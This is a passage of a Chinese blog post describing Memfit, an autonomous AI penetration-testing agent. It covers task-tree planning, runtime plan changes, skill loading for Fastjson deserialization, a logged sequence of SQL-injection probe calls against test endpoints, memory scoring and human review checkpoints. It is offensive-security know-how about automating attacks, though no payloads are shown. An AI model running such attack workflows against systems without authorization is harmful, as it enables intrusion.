style="color:#393A34"><span class="token plain">     </span><span class="token punctuation" style="color:#393A34">{</span><span class="token property" style="color:#36acaa">"subtask_name"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"验证JWT认证安全漏洞"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token property" style="color:#36acaa">"depends_on"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"..."</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">     </span><span class="token punctuation" style="color:#393A34">{</span><span class="token property" style="color:#36acaa">"subtask_name"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"验证命令注⼊安全漏洞"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token property" style="color:#36acaa">"depends_on"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"..."</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">     </span><span class="token punctuation" style="color:#393A34">{</span><span class="token property" style="color:#36acaa">"subtask_name"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"验证敏感信息泄漏和⽬录遍历"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token property" style="color:#36acaa">"depends_on"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"..."</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">     </span><span class="token punctuation" style="color:#393A34">{</span><span class="token property" style="color:#36acaa">"subtask_name"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"汇总漏洞评估结果⽣成渗透测试报告"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token property" style="color:#36acaa">"depends_on"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"以上所有任务"</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>13 个子任务，有依赖关系 -- 爬虫收集攻击面在前面，各类漏洞验证依赖爬虫的结果，最终报告依赖所有验证任务。</p>
<p>底层的数据结构是 AiTask（来自 common/ai/aid/task.go）：</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">type</span><span class="token plain"> AiTask </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      Index              </span><span class="token builtin">string</span><span class="token plain">    </span><span class="token string" style="color:#e3116c">`json:"index"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      Name               </span><span class="token builtin">string</span><span class="token plain">    </span><span class="token string" style="color:#e3116c">`json:"name"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      Goal               </span><span class="token builtin">string</span><span class="token plain">    </span><span class="token string" style="color:#e3116c">`json:"goal"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      SemanticIdentifier </span><span class="token builtin">string</span><span class="token plain">    </span><span class="token string" style="color:#e3116c">`json:"semantic_identifier"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      ParentTask         </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">AiTask   </span><span class="token string" style="color:#e3116c">`json:"parent_task"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      Subtasks           </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">AiTask </span><span class="token string" style="color:#e3116c">`json:"subtasks"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      DependsOn         </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token builtin">string</span><span class="token plain">  </span><span class="token string" style="color:#e3116c">`json:"depends_on,omitempty"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      StatusSummary </span><span class="token builtin">string</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">`json:"status_summary"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      TaskSummary   </span><span class="token builtin">string</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">`json:"task_summary"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      ShortSummary  </span><span class="token builtin">string</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">`json:"short_summary"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      LongSummary   </span><span class="token builtin">string</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">`json:"long_summary"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>Index 是层级编号，"1-1"、"1-2"、"1-3"... SemanticIdentifier ⽤来⽣成⽬录名 -- 所以前⾯看到的 task_1-1_crawl_web_attack_surface 就是任务编号加上语义标识拼出来的。 整棵任务树在运⾏时会通过 DFS 展平成⼀个链表：</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">type</span><span class="token plain"> runtime </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">RootTask </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">AiTask</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">config   </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">Coordinator</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">cursor   </span><span class="token builtin">int</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">TaskLink </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">linktable</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">LinkedList</span><span class="token punctuation" style="color:#393A34">[</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">AiTask</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>然后沿着 TaskLink 逐个执行。每个任务执行完毕后更新状态，推进游标。注意下图，AI 正在逐步推进任务。</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/f5881ed1f3691ddf-856a99cca220bd5386a2fcd351704291.png" width="528" height="1328" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="动态调整跑到一半计划变了">动态调整：跑到一半计划变了<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#%E5%8A%A8%E6%80%81%E8%B0%83%E6%95%B4%E8%B7%91%E5%88%B0%E4%B8%80%E5%8D%8A%E8%AE%A1%E5%88%92%E5%8F%98%E4%BA%86" class="hash-link" aria-label="动态调整：跑到一半计划变了的直接链接" title="动态调整：跑到一半计划变了的直接链接" translate="no">​</a></h2>
<p>上面的计划看起来很完美，但实际渗透测试最大的特点就是"意外"。</p>
<p>举几个这次测试中真实遇到的情况：</p>
<p>1、爬虫跑完发现了一堆预料之外的 API 端点 -- 原本没计划测的 /fastjson/json-in-form、/fastjson/json-in-body 等需要专门验证</p>
<p>2、文件上传测试完主接口 /upload/main，发现还有 /upload/case/unsafe 等其他上传端点 -- 得追加任务</p>
<p>3、SQL 注入验证过程中发现目标用的是 SQLite，Union Select 的列数和 MySQL 完全不同 -- 需要调整注入策略</p>
<p>4、验证 Fastjson 漏洞时，发现已加载的技能包不够用，需要额外加载 deserialization 相关的参考资料</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/7c23345cf0e84586-32d6134c1620585ec1066b84ed9883a4.png" width="840" height="499" class="yakdoc-image"></button></p>
<p>怎么应对？靠 TaskDelta。</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">type</span><span class="token plain"> TaskDeltaOp </span><span class="token builtin">string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">const</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">TaskDeltaInsertAfter TaskDeltaOp </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"insert_after"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">TaskDeltaAppend      TaskDeltaOp </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"append"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">TaskDeltaRemove      TaskDeltaOp </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"remove"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">TaskDeltaModify      TaskDeltaOp </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"modify"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">TaskDeltaReplaceAll  TaskDeltaOp </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"replace_all"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">type</span><span class="token plain"> TaskDelta </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      Op           TaskDeltaOp        </span><span class="token string" style="color:#e3116c">`json:"op"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      RefTaskIndex </span><span class="token builtin">string</span><span class="token plain">             </span><span class="token string" style="color:#e3116c">`json:"ref_task_index,omitempty"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      Tasks       </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">TaskDeltaNewTask </span><span class="token string" style="color:#e3116c">`json:"tasks,omitempty"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      UpdatedName  </span><span class="token builtin">string</span><span class="token plain">             </span><span class="token string" style="color:#e3116c">`json:"updated_name,omitempty"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      UpdatedGoal  </span><span class="token builtin">string</span><span class="token plain">             </span><span class="token string" style="color:#e3116c">`json:"updated_goal,omitempty"`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>五种操作覆盖所有运行时调整场景：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/b63f13479e8fb0e8-9e16491de5b4a626b8ef1094796c938d.png" width="1042" height="342" class="yakdoc-image"></button></p>
<p>insert_after 是最常用的。文件上传测试完 /upload/main 之后，AI 发现爬虫结果里还有 /upload/case/unsafe 等端点没覆盖到，于是通过 TaskDelta 在当前任务后面追加了一个"补充测试其他文件上传端点"任务。这个任务在原始计划里是不存在的 -- 它是 AI 根据执行中的发现动态添加的。</p>
<p>在代码中，这个调整发生在任务审阅阶段。每个子任务执行完，AI 可以触发 adjust_plan：</p>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token literal-property property" style="color:#36acaa">Value</span><span class="token operator" style="color:#393A34">:</span><span class="token plain">            </span><span class="token string" style="color:#e3116c">"adjust_plan"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token literal-property property" style="color:#36acaa">Prompt</span><span class="token operator" style="color:#393A34">:</span><span class="token plain">           </span><span class="token string" style="color:#e3116c">"基于当前任务发现的新信息，后续计划需要调整（⽀持增删改查 delta 操作）"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">    </span><span class="token literal-property property" style="color:#36acaa">AllowExtraPrompt</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">true</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token literal-property property" style="color:#36acaa">ParamSchema</span><span class="token operator" style="color:#393A34">:</span><span class="token plain">      schemaRePlanSuggestion</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><br></span></code></pre></div></div>
<p>AI 输出 TaskDelta 操作，系统解析后对任务树进行热更新 -- 插入新节点、移除节点、修改目标，都在运行时完成，不需要停下来重新规划。</p>
<p>这一点对渗透测试场景极为关键。渗透测试的信息是逐步揭露的，每一步操作都可能改变后续的攻击路径。如果计划是死的，那和固定脚本没什么区别。这是 Memfit 区别于一般的 Agent 的最值得玩味的一个操作。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="react-每一步想清楚再动手以fastjson为例">ReAct: 每一步想清楚再动手以FastJSON为例<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#react-%E6%AF%8F%E4%B8%80%E6%AD%A5%E6%83%B3%E6%B8%85%E6%A5%9A%E5%86%8D%E5%8A%A8%E6%89%8B%E4%BB%A5fastjson%E4%B8%BA%E4%BE%8B" class="hash-link" aria-label="ReAct: 每一步想清楚再动手以FastJSON为例的直接链接" title="ReAct: 每一步想清楚再动手以FastJSON为例的直接链接" translate="no">​</a></h2>
<p>任务树解决了"做什么"的问题，具体"怎么做"靠 ReAct 循环。</p>
<p>每个子任务执行前，系统先跑一轮意图识别（Intent Recognition）。在文件系统里可以看到 task_1-1_intent/、task_1-3_intent/ 这些目录，里面记录了意图分析的过程 -- 确认这个任务需要用到哪些能力包。</p>
<p>自动查询知识库，探索 SKILLS 以及各种资料来尝试解决 FastJSON 的漏洞检测</p>
<p>比如验证 Fastjson 反序列化漏洞时，意图识别阶段的技能加载过程：</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">加载能⼒ vuln-assess [参考资料]</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">加载技能列表 vuln-assess, toolbox</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">思考: 需要了解Fastjson反序列化漏洞的检测⽅法和payload构造技术...</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">加载能⼒ vuln-assess [参考资料]</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">额外加载技能资源 @vuln-assess/web-vulns.md</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">加载能⼒ @ctf-web/web-vulns.md</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">额外加载技能资源 @ctf-web/web-vulns.md</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">load_skill_resources_pattern Fastjson|Jackson|反序列化|deserialization</span><br></span></code></pre></div></div>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/25ae5f5e18e8f163-6784037aa34c7e222b88a759f0a0e5cb.png" width="840" height="3472" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p>先加载通用的漏洞评估能力包 vuln-assess，发现不够，又加载了 web-vulns.md，还是不够，最终通过 pattern 匹配 Fastjson|Jackson|反序列化|deserialization 加载了专项技能资源。</p>
<p>技能加载完毕后，进入 ReAct 执行循环。AI 在每一步都要决定下一个动作是什么：</p>
<ul>
<li class="">
<p>require_tool -- 调用工具（发 HTTP 请求、执行命令、读写文件等）</p>
</li>
<li class="">
<p>tool_compose -- 组合多个工具一起执行</p>
</li>
<li class="">
<p>load_capability -- 运行时加载新的技能包</p>
</li>
<li class="">
<p>require_ai_blueprint -- 调用预定义的工作流（"蓝图"）</p>
</li>
<li class="">
<p>request_plan_execution -- 遇到复杂子问题，嵌套一个子计划</p>
</li>
<li class="">
<p>finish -- 任务完成</p>
</li>
</ul>
<p>接下来，我们在看 SQL 注入的 AI “手工注入” 的效果。</p>
<p>以 SQL 注入验证为例，AI 的实际动作序列（15 次工具调用）：</p>
<div class="language-sql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-sql codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token number" style="color:#36acaa">1.</span><span class="token plain"> do_http_request </span><span class="token comment" style="color:#999988;font-style:italic">-- sqli_baseline_user_id (基线请求)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">2.</span><span class="token plain"> do_http_request </span><span class="token comment" style="color:#999988;font-style:italic">-- sqli_quote_test_user_id (单引号注⼊)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">3.</span><span class="token plain"> do_http_request </span><span class="token comment" style="color:#999988;font-style:italic">-- sqli_union_select_test_user_id</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">4.</span><span class="token plain"> do_http_request </span><span class="token comment" style="color:#999988;font-style:italic">-- sqli_error_based_test (报错注⼊)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">5.</span><span class="token plain"> do_http_request </span><span class="token comment" style="color:#999988;font-style:italic">-- sqli_boolean_blind_test_user_id (布尔盲注 真值)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">6.</span><span class="token plain"> do_http_request </span><span class="token comment" style="color:#999988;font-style:italic">-- sqli_boolean_blind_false_test (布尔盲注 假值)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">7.</span><span class="token plain"> do_http_request </span><span class="token comment" style="color:#999988;font-style:italic">-- sqli_numeric_blind_true_test</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">8.</span><span class="token plain"> do_http_request </span><span class="token comment" style="color:#999988;font-style:italic">-- sqli_numeric_blind_false_test</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">9.</span><span class="token plain"> do_http_request </span><span class="token comment" style="color:#999988;font-style:italic">-- sqli_name_baseline_test (换端点 /user/name)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">10.</span><span class="token plain"> do_http_request </span><span class="token comment" style="color:#999988;font-style:italic">-- sqli_quote_test_user_name</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">11.</span><span class="token plain"> do_http_request </span><span class="token comment" style="color:#999988;font-style:italic">-- sqli_union_select_test_user_name</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">12.</span><span class="token plain"> do_http_request </span><span class="token comment" style="color:#999988;font-style:italic">-- sqli_boolean_blind_true_test_username</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">13.</span><span class="token plain"> do_http_request </span><span class="token comment" style="color:#999988;font-style:italic">-- sqli_boolean_blind_false_test_username</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">14.</span><span class="token plain"> do_http_request </span><span class="token comment" style="color:#999988;font-style:italic">-- sqli_time_blind_test (时间盲注)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">15.</span><span class="token plain"> write_file       </span><span class="token comment" style="color:#999988;font-style:italic">-- create_sqli_vuln_report (写漏洞报告)</span><br></span></code></pre></div></div>
<p>先测 /user/id 端点的各种注入方式，再换 /user/name 端点测一轮，最后把结果写成报告。每一步的请求参数、响应内容、耗时全部记录在 tool_calls/ 目录下的独立 Markdown 文件中。</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/25c262d9c67e7afc-39654d709da48cc4191ca44900617d2b.png" width="840" height="1365" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p>这些文件不光是日志，也是证据。任何一个漏洞发现都可以追溯到具体的哪次请求、用了什么 payload、服务端返回了什么。</p>
<p>当然不只有记录在 markdown 中，我们打开 “HTTP 流量” 可以看到更全的流量记录：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/5b4404cd1b78a4f4-c9807aa2378ff3a892a54dbfe3b2ba39.png" width="840" height="548" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="记忆动态记忆窗口-跨任务复用">记忆：动态记忆窗口 跨任务复用<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#%E8%AE%B0%E5%BF%86%E5%8A%A8%E6%80%81%E8%AE%B0%E5%BF%86%E7%AA%97%E5%8F%A3-%E8%B7%A8%E4%BB%BB%E5%8A%A1%E5%A4%8D%E7%94%A8" class="hash-link" aria-label="记忆：动态记忆窗口 跨任务复用的直接链接" title="记忆：动态记忆窗口 跨任务复用的直接链接" translate="no">​</a></h2>
<p>连续跑了 100 分钟之后，系统积累了很多很多记忆。当然每一次执行记忆也都会动态更新，我们可以看到这里：</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/639a1d0d74eef8ac-0e2187f2c7df0ac352b219dddda6ee12.png" width="840" height="1087" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p>为什么需要记忆？上下文窗口是有限的。每个子任务都有自己的 ReAct 循环和上下文，任务之间的信息传递不能只靠往上下文里塞更多文本 -- 塞多了模型性能会退化，塞少了会丢信息。</p>
<p>我们的做法是搞了一个记忆分诊系统。每次 ReAct 迭代结束，TimelineDiffer 提取这一轮新增的信息，通过 LiteForge 进行记忆分诊，给每条记忆打七个维度的分：</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">// CORE PACT 七维记忆评分 (common/ai/aid/aimem/aimemory_build_memory.go)  WithNumberParam("t", "时效评分：这个记忆应该如何被保留?"),</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">WithNumberParam("a", "可操作性评分：是否可以改进未来⾏为？"),</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">WithNumberParam("p", "个⼈偏好评分：是否绑定⽤户⻛格？"),</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">WithNumberParam("o", "来源确定性评分：信息有多可信？"),</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">WithNumberParam("e", "情感评分：⽤户情绪如何？"),</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">WithNumberParam("r", "相关性评分：对⽬标有多关键？"),</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">WithNumberParam("c", "关联度评分：与其他记忆如何关联？"),</span><br></span></code></pre></div></div>
<p>每条记忆还带 tags 和 potential_questions。tags 是领域标签，potential_questions 是这条记忆可能回答的问题 -- 这两个字段是给后续 RAG 检索准备的。</p>
<p>举个具体场景：task_1-3 做 SQL 注入验证时，AI 发现目标数据库是 SQLite（从错误信息 unrecognized token 推断的）。这个发现被存成一条记忆，标签可能是 ["database", "sqlite", "target-info"]。等到后面 task_1-5 做 SSRF 验证的时候，系统通过 RAG 检索到这条记忆，AI 就知道目标用的是 SQLite，不用重新探测。</p>
<p>后续任务启动时，系统会以当前任务的描述作为 query，通过 RAG 检索相关记忆（限制 4KB），注入到上下文中。这样每个子任务都能"记住"之前重要的发现，又不会被无关信息淹没。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="审阅和深度规划">审阅和深度规划<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#%E5%AE%A1%E9%98%85%E5%92%8C%E6%B7%B1%E5%BA%A6%E8%A7%84%E5%88%92" class="hash-link" aria-label="审阅和深度规划的直接链接" title="审阅和深度规划的直接链接" translate="no">​</a></h2>
<p>生产环境下完全无人值守是不现实的，至少目前还不是。系统设计了四层审阅点：</p>
<p>1、计划审阅（plan_review）-- AI 生成执行计划后，人确认或调整再执行</p>
<p>2、任务审阅（task_review）-- 每个子任务完成后可以审阅</p>
<p>3、工具审阅（tool_use_review）-- 敏感工具调用前需要人确认</p>
<p>4、蓝图审阅（exec_aiforge_review）-- 调用预定义工作流前，可以审阅参数</p>
<p>任务审阅时，人有这几个选择：</p>
